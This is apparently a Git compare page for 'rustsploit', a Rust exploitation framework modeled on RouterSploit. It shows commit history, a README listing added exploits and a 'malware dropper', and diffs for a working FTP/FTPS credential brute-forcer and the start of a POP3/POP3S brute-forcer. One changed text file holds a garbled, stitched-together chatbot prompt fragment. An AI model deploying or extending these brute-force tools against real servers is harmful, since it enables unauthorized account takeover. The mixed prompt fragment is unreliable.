Compare commits

..

82 Commits

Author SHA1 Message Date
S.B 0b1c1a8c7a fix generator path and improve proxy selection 2025-06-17 00:06:52 +02:00
S.B 3da254c19b Update README.md 2025-05-26 11:56:33 +02:00
S.B 986384f95c Update README.md 2025-05-26 11:52:51 +02:00
S.B 6e0679a162 Add files via upload 2025-05-26 11:51:44 +02:00
S.B 8855289c45 Delete lat.png 2025-05-26 11:51:01 +02:00
S.B 21c1240d61 Update README.md 2025-05-26 11:49:10 +02:00
S.B 2d0743ab3a Merge pull request #13 from s-b-repo/elons-musk-sniff-sniff
Elons musk sniff sniff
2025-05-26 11:46:14 +02:00
S.B 03fba5f883 Update port_scanner.rs 2025-05-26 11:45:07 +02:00
S.B aea5dc5952 Update narutto_dropper.rs 2025-05-26 11:43:27 +02:00
S.B 10cb64da04 Update mod.rs 2025-05-26 11:25:10 +02:00
S.B 51872dda9c Add files via upload 2025-05-26 11:23:33 +02:00
S.B dfdecaca39 Update Cargo.toml 2025-05-26 10:58:48 +02:00
S.B dcefdf961c Update mod.rs 2025-05-26 10:57:04 +02:00
S.B 8f22dfeb75 Update port_scanner.rs 2025-05-26 10:55:48 +02:00
S.B e6de81c538 Add files via upload 2025-05-26 10:48:59 +02:00
S.B 60e1dd3c6c Update extra.txt 2025-05-22 22:56:38 +02:00
S.B f4fd03923a Update opensshserver_9_8p1race_condition.rs 2025-05-22 22:55:51 +02:00
S.B 0aab4d3265 Update opensshserver_9_8p1race_condition.rs 2025-05-22 21:22:59 +02:00
S.B 31b47015e6 Update extra.txt 2025-05-22 21:21:43 +02:00
S.B 06acd0a837 Update README.md 2025-05-22 15:40:17 +02:00
S.B 6769d5756b Update README.md 2025-05-22 15:39:19 +02:00
S.B 8bf13d0d2c Update README.md 2025-05-22 15:38:25 +02:00
S.B 2baf1c700f Update mod.rs 2025-05-22 15:28:45 +02:00
S.B 6eba62971c Rename doc.md to readme.md 2025-05-22 15:25:36 +02:00
S.B fb52ae5440 Add files via upload 2025-05-22 15:25:03 +02:00
S.B 2a503e4a18 Rename about.txt to readme.md 2025-05-22 15:24:01 +02:00
S.B a859cff7ab Update narutto_dropper.rs 2025-05-22 15:23:10 +02:00
S.B a8f284051b Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 15:22:56 +02:00
S.B a22b8cd3fe Update mod.rs 2025-05-22 15:21:52 +02:00
S.B 9ecb846f62 Rename about.md to readme.md 2025-05-22 15:20:39 +02:00
S.B 87558a0ddd Rename about.txt to about.md 2025-05-22 15:20:09 +02:00
S.B 2d49af6a24 Update mod.rs 2025-05-22 14:10:43 +02:00
S.B 220482758d Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 14:09:53 +02:00
S.B f1f30511d4 Update smtp_bruteforce.rs 2025-05-22 09:19:08 +02:00
S.B 25401dcbc6 Update port_scanner.rs 2025-05-22 09:12:00 +02:00
S.B 5839e5b346 Update mod.rs 2025-05-21 19:59:30 +02:00
S.B c114f8e1fe Add files via upload 2025-05-21 19:59:01 +02:00
S.B 310d192bc2 Update rdp_bruteforce.rs 2025-05-21 14:34:19 +02:00
S.B 4f878b7d36 Update ssh_bruteforce.rs
added ssh improvement
2025-05-21 14:22:04 +02:00
S.B e03dfff879 Update ftp_bruteforce.rs 2025-05-18 05:33:10 +02:00
S.B 91bfd85323 Update README.md 2025-05-09 22:27:00 +02:00
S.B 2813f21988 Update mod.rs 2025-05-09 22:19:32 +02:00
S.B 08a2af4274 Add files via upload 2025-05-09 22:18:26 +02:00
S.B 3c65160cc3 Update mod.rs 2025-05-09 21:09:27 +02:00
S.B 3dcc51f388 Add files via upload 2025-05-09 21:08:43 +02:00
S.B 394c5eb426 Update Cargo.toml 2025-05-09 15:46:55 +02:00
S.B f8bd0c2fc6 Update mod.rs 2025-05-09 15:35:38 +02:00
S.B 02e3450ea7 Add files via upload 2025-05-09 15:34:37 +02:00
S.B a0e56948d3 Update mod.rs 2025-05-09 11:46:37 +02:00
S.B 2c6e4bfb43 Add files via upload 2025-05-09 11:44:53 +02:00
S.B dd8f28130a Update zte_zxv10_h201l_rce_authenticationbypass.rs 2025-05-09 11:36:43 +02:00
S.B 054be52ba4 Update Cargo.toml 2025-05-08 16:55:56 +02:00
S.B 359ed806ba Add files via upload 2025-05-08 16:53:47 +02:00
S.B 918d83210c Update mod.rs 2025-05-08 16:52:44 +02:00
S.B bf06138630 Add files via upload 2025-05-08 16:52:10 +02:00
S.B 334f24092f Delete src/modules/exploits/router directory 2025-05-08 16:51:24 +02:00
S.B 878bad38eb Update Cargo.toml 2025-05-08 16:02:28 +02:00
S.B b7df70055d Update README.md 2025-05-08 14:55:57 +02:00
S.B b8998d0633 Merge pull request #12 from Giteeajake/main
Update Cargo.toml
2025-05-06 17:14:55 +02:00
Giteeajake 123918d3bf Update Cargo.toml 2025-05-06 10:09:29 +08:00
Giteeajake f445d52c28 Update Cargo.toml 2025-05-06 10:03:56 +08:00
S.B f2bd0ae5a1 Merge pull request #10 from s-b-repo/dev
Dev
2025-05-04 18:03:42 +02:00
S.B 494d6d265d Update Cargo.toml 2025-05-04 17:32:22 +02:00
S.B bb28d1bf30 Update mod.rs 2025-05-04 17:09:45 +02:00
S.B 5a72376a3f Add files via upload 2025-05-04 17:09:03 +02:00
S.B 5cbbbe2343 Update README.md 2025-05-04 17:07:10 +02:00
S.B 96b11ddf0c Update mod.rs 2025-05-04 16:50:00 +02:00
S.B 061176904c Delete src/modules/exploits/camera directory 2025-05-04 16:49:41 +02:00
S.B de9732f7de Add files via upload 2025-05-04 16:49:06 +02:00
S.B bfc094784a Add files via upload 2025-05-04 16:48:33 +02:00
S.B c8eca30789 Add files via upload 2025-05-04 16:48:09 +02:00
S.B eda2802f9b Update README.md 2025-05-04 16:26:59 +02:00
S.B 83161d7f70 Update Cargo.toml 2025-05-04 16:00:35 +02:00
S.B 45a3d49c2f Update cve_2024_7029_avtech_camera.rs 2025-05-04 15:58:57 +02:00
S.B 0b9e470e3d Update mod.rs 2025-05-04 15:44:48 +02:00
S.B bb9ce994b5 Add files via upload 2025-05-04 15:43:50 +02:00
S.B bbbaa69761 Delete src/modules/exploits/payloadgens/gpgenbat.rs 2025-05-04 15:43:13 +02:00
S.B 4625f7d31e Update mod.rs 2025-04-28 07:16:25 +02:00
S.B 900d73ea0b Add files via upload 2025-04-28 07:15:57 +02:00
S.B d1d12cb165 Update mod.rs 2025-04-28 06:47:00 +02:00
S.B 4112a71af2 Add files via upload 2025-04-28 06:46:25 +02:00
S.B 6a3eb5ce44 Update README.md 2025-04-26 01:08:03 +02:00
49 changed files with 3737 additions and 890 deletions
+20 -2
View File
@@ -6,7 +6,7 @@ build = "build.rs"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
#proxy manager
rand = "0.9.0"
@@ -15,7 +15,7 @@ rand = "0.9.0"
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process"] }
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
# Easier error handling
anyhow = "1.0.97"
@@ -23,6 +23,7 @@ anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
@@ -56,18 +57,35 @@ quick-xml = "0.37.4"
#ABUS TVIP Dropbear
md5 = "0.7.0"
ftp = "3.0.1"
#ssh rce race condition
libc = "0.2.172"
futures = "0.3.31"
#spotube exploit
serde_json = "1.0.140"
futures-util = "0.3.31"
tokio-tungstenite = "0.26.2"
#zte rce
# Add these to [dependencies]
aes = "0.8.3"
cipher = "0.4.4"
flate2 = "1.0.30"
#avanti
url = "2.5.4"
semver = "1.0.26"
#stalk route full traceroute
pnet_packet = "0.34" # Or the latest compatible version
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
[build-dependencies]
regex = "1.11.1" # required for use in build.rs
[[bin]]
name = "rustsploit"
path = "src/main.rs"
+29 -10
View File
@@ -2,10 +2,10 @@
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/lat.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
📚 **Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
### Goals & To Do lists
@@ -14,6 +14,22 @@ Convert exploits and add modules
# completed
```
added stalkroute a traceroute with firewall evasion requires root
added malware dropper narruto dropper
added refactored and fixed and improve alot of modules
added added new version of payloadgen
added smtp bruteforcer
added pop3 bruteforcer
added zte zte_zxv10_h201l_rce_authenticationbypass
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
added apache_tomcat cve_2025_24813_apache_tomcat_rce
added apache_tomcat catkiller_cve_2025_31650
added palto_alto CVE-2025-0108. auth bypass
added acm_5611_rce
added zabbix_7_0_0_sql_injection
added cve_2024_7029_avtech_camera
added pachev_ftp_path_traversal_1_0
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
added ftps support
added ipv6 support to ftp anon and brute
@@ -52,8 +68,7 @@ dynamic modules listing and colored listing
```
## 🚀 Building & Running
## 📦🛠️ requirements
```
```
`
sudo apt update
sudo apt install freerdp2-x11
@@ -65,8 +80,8 @@ for rdp bruteforce modudle
### 📦 Clone the Repository
```
git clone https://github.com/s-b-repo/r-routersploit.git
cd r-routersploit
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### 🛠️ Build the Project
@@ -148,12 +163,12 @@ Modules are automatically detected using `build.rs` and registered as:
- Full: `scanners/port_scanner`
Each module must define:
```rust
```
pub async fn run(target: &str) -> Result<()>
```
Optional:
```rust
```
pub async fn run_interactive(target: &str) -> Result<()>
```
@@ -172,7 +187,7 @@ No session state is saved — everything resets on restart.
## 💡 Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/r-routersploit/blob/main/docs/doc.md)
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- ✅ How to write modules
- 🧠 Auto-dispatch system explained
@@ -187,6 +202,10 @@ Includes:
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
```
## 👥 Credits
- **wordlists*: seclists & me
---
View File
+11 -5
View File
@@ -62,12 +62,18 @@ Here is the original module that needs to be refactored:
gemini
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
Strict Requirements:
Would you like a Dynamic/Auto-Scaler version too? 🚀
(Example: start at 500 concurrency, grow to 5000 if CPU/RAM is good.)
The code must be 100% pure Rust, fully compatible with Linux operating systems.
Want me to show it too? 🔥
You said:
yes Dynamic/Auto-Scaler show function to add
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 83 KiB

View File
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

+2 -1
View File
@@ -6,7 +6,8 @@ use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("cred_dispatch.rs");
// Keep dispatch file naming consistent with build.rs
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let creds_root = Path::new("src/modules/creds");
+142 -80
View File
@@ -9,9 +9,12 @@ use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
sync::Arc,
sync::Arc, // Keep Arc
};
use tokio::{
sync::{Mutex, Semaphore}, // Import Semaphore
time::{sleep, Duration}
};
use tokio::{sync::Mutex, time::{sleep, Duration}};
use std::path::Path;
use sysinfo::System;
use futures::stream::{FuturesUnordered, StreamExt};
@@ -20,21 +23,30 @@ async fn dynamic_throttle(running: usize, max_concurrency: usize) {
let mut system = System::new_all();
system.refresh_all();
let cpu_usage = system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / system.cpus().len() as f32;
let ram_used = system.used_memory() as f32 / system.total_memory() as f32;
let cpu_count = system.cpus().len();
let cpu_usage = if cpu_count > 0 {
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
} else {
0.0
};
let total_memory = system.total_memory();
let ram_used = if total_memory > 0 {
system.used_memory() as f32 / total_memory as f32
} else {
0.0
};
if cpu_usage > 80.0 || ram_used > 0.8 {
sleep(Duration::from_millis(50)).await;
} else if cpu_usage > 60.0 || ram_used > 0.6 {
sleep(Duration::from_millis(25)).await;
} else if running > max_concurrency {
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
sleep(Duration::from_millis(10)).await;
} else {
sleep(Duration::from_millis(1)).await;
}
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
@@ -42,15 +54,15 @@ fn format_addr(target: &str, port: u16) -> String {
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean, port)
format!("{}:{}", clean_target, port)
}
}
}
@@ -67,13 +79,16 @@ pub async fn run(target: &str) -> Result<()> {
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?; // default 500 (higher)
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
@@ -93,101 +108,137 @@ pub async fn run(target: &str) -> Result<()> {
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if !combo_mode && users.is_empty() && !passes.is_empty() {
return Err(anyhow!(
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
usernames_file, passwords_file
));
}
// (Optional: notifications for empty lists can remain here)
let mut tasks = FuturesUnordered::new();
if combo_mode {
// Every user × every pass
for user in &users {
if *stop.lock().await && stop_on_success { break; }
for pass in &passes {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
if *stop.lock().await && stop_on_success { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit is automatically released when `_permit` goes out of scope here
}));
}
}
} else {
// Line-by-line (user1 with pass1, user2 with pass2, etc.)
for (i, pass) in passes.iter().enumerate() {
let user = users.get(i % users.len()).unwrap_or(&users[0]).clone();
let addr = addr.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
tasks.push(tokio::spawn(async move {
if *stop.lock().await { return; }
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
tasks.push(tokio::spawn(async move {
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
}));
// Permit released
}));
}
}
}
// 💥 Here is the correct task runner with dynamic throttling!
let mut running = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(running, concurrency).await;
res?;
running += 1;
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
// After all tasks are finished, print/save results
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
let mut file = File::create(&file_path)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
}
Ok(())
}
/// Try FTP login and only fallback to FTPS if "SSL/TLS required" is detected
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
@@ -199,37 +250,44 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") {
// fall through
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
// 421 Too many connections
println!("[-] 421 Too many connections, sleeping 2 seconds...");
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
return Err(anyhow!("FTP error: {}", msg));
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("550 SSL/TLS required") {
// fall through
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] 421 Too many connections, sleeping 2 seconds...");
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
// 2️⃣ Only if needed, try FTPS
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
.map_err(|e| {
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("FTPS base connect failed: {}", e)
})?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
@@ -246,7 +304,10 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("TLS upgrade failed: {}", e))?;
.map_err(|e| {
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
@@ -256,8 +317,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false) // Bad login
Ok(false)
} else {
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
Err(anyhow!("FTPS error: {}", msg))
}
}
@@ -265,7 +327,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
}
// === Helpers ===
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
@@ -295,9 +357,9 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -312,7 +374,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
}
@@ -326,6 +388,6 @@ fn log(verbose: bool, msg: &str) {
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|n| PathBuf::from(format!("./{}", n.to_string_lossy())))
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
+2
View File
@@ -7,3 +7,5 @@
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
@@ -0,0 +1,223 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write, Read};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use native_tls::TlsConnector;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== POP3 Bruteforce ===\n");
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
};
run_pop3_bruteforce(config)
}
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let host = get_hostname(&config.target);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let host = host.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
let result = if config.use_ssl {
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
} else {
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
};
match result {
Ok(true) => {
println!();
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!();
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
// Standard POP3 login, plaintext
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// POP3S (SSL/TLS)
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
let connector = TlsConnector::new().unwrap();
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
pop3_session(&mut stream, username, password, verbose)
}
// Shared POP3 session logic for both plain and SSL
fn pop3_session<S: Read + Write>(stream: &mut S, username: &str, password: &str, verbose: bool) -> Result<bool> {
let mut buf = [0u8; 4096];
// Banner
